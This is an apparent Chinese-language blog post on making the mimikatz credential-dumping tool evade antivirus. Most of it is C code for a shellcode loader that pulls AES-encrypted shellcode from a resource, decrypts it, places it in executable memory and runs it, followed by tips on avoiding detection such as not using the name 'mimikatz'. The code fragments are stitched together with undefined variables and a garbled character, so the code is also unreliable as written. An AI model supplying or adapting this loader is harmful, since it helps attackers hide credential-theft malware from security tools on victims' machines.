峰回路转之mimikatz通杀杀软

// ... decrypt函数 ...int decrypt(unsigned char* ciphertext, int ciphertext_len, unsigned char* key,    unsigned char* plaintext) {    EVP_CIPHER_CTX* ctx;    int len;    int plaintext_len;

    // 创建并初始化解密上下文    if (!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

    // 初始化解密操作    if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_ecb(), NULL, key, NULL))        handleErrors();

    // 提供要解密的消息，并获取明文输出    if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))        handleErrors();    plaintext_len = len;

    // 完成解密过程    if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) handleErrors();    plaintext_len += len;

    // 清理    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;}

// 读取资源文件    HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_ENCRYPTED_TEXT), TEXT("TEXT"));    if (hRes == NULL) {

        // 处理错误        return 1;    }    HGLOBAL hData = LoadResource(NULL, hRes);    if (hData == NULL) {

        // 处理错误        return 1;    }    char* data = (char*)LockResource(hData);    DWORD dataSize = SizeofResource(NULL, hRes);

    // 请确保资源数据是以NULL结尾的字符串    char* hex_encrypted_shellcode = (char*)malloc(dataSize + 1);    if (hex_encrypted_shellcode == NULL) {

        perror("malloc");        return 1;    }    memcpy(hex_encrypted_shellcode, data, dataSize);    hex_encrypted_shellcode[dataSize] = '�';

 // 计算十六进制字符串表示的shellcode的长度    size_t hex_shellcode_len = strlen(hex_encrypted_shellcode);    // 分配内存以存储二进制形式的shellcode    size_t bin_shellcode_len = hex_shellcode_len / 2;    unsigned char* bin_encrypted_shellcode = (unsigned char*)malloc(bin_shellcode_len);    if (bin_encrypted_shellcode == NULL) {

        perror("malloc");        free(hex_encrypted_shellcode);        return 1;    }

    // 将十六进制字符串转换为二进制数据    hex_to_bin(hex_encrypted_shellcode, bin_encrypted_shellcode, bin_shellcode_len);

    // 分配内存以存储解密后的shellcode    unsigned char* decrypted_shellcode = (unsigned char*)malloc(bin_shellcode_len); // 使用原始长度    if (decrypted_shellcode == NULL) {

        perror("malloc");        free(bin_encrypted_shellcode);        free(hex_encrypted_shellcode);        return 1;    }

    // 解密shellcode    int decrypted_len = decrypt(bin_encrypted_shellcode, bin_shellcode_len, key, decrypted_shellcode);    if (decrypted_len == -1) {

        // 解密失败，处理错误        handleErrors();        // 清理代码应该在 handleErrors 之前或之后（如果 handleErrors 不退出）    }



    // 分配可执行内存    void* exec = VirtualAlloc(0, decrypted_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    if (exec == NULL) {        perror("VirtualAlloc");        free(decrypted_shellcode);        free(bin_encrypted_shellcode);        return 1;    }    memcpy(exec, decrypted_shellcode, decrypted_len);

    // 转换为函数指针并执行    void (*func)() = (void (*)())exec;    func();

 // 获取可执行文件的完整路径    if (GetModuleFileName(NULL, exePath, MAX_PATH) == 0) {        // 处理错误        perror("GetModuleFileName failed");        return 1;    }

    // 从可执行文件路径中移除文件名，只留下目录    PathRemoveFileSpec(exePath);

    // 构建1.txt文件的完整路径    PathCombine(filePath, exePath, "1.txt");

    // 检查文件是否存在    attributes = GetFileAttributes(filePath);    if (attributes == INVALID_FILE_ATTRIBUTES) {        // 文件不存在或发生错误        perror("GetFileAttributes failed");        return 1; // 或者你可以根据需要进行其他处理    }

1.在mimikatz免杀项目中，不要使用mimikatz来对文件或项目命名，否则会碰到杀软的无情查杀。2.mimikatz本质上是一个命令行工具，创建vs项目要选择控制台应用，这是一个血淋淋的教训，切记切记。3.AES算法用来做免杀loader非常不错，建议都去尝试下。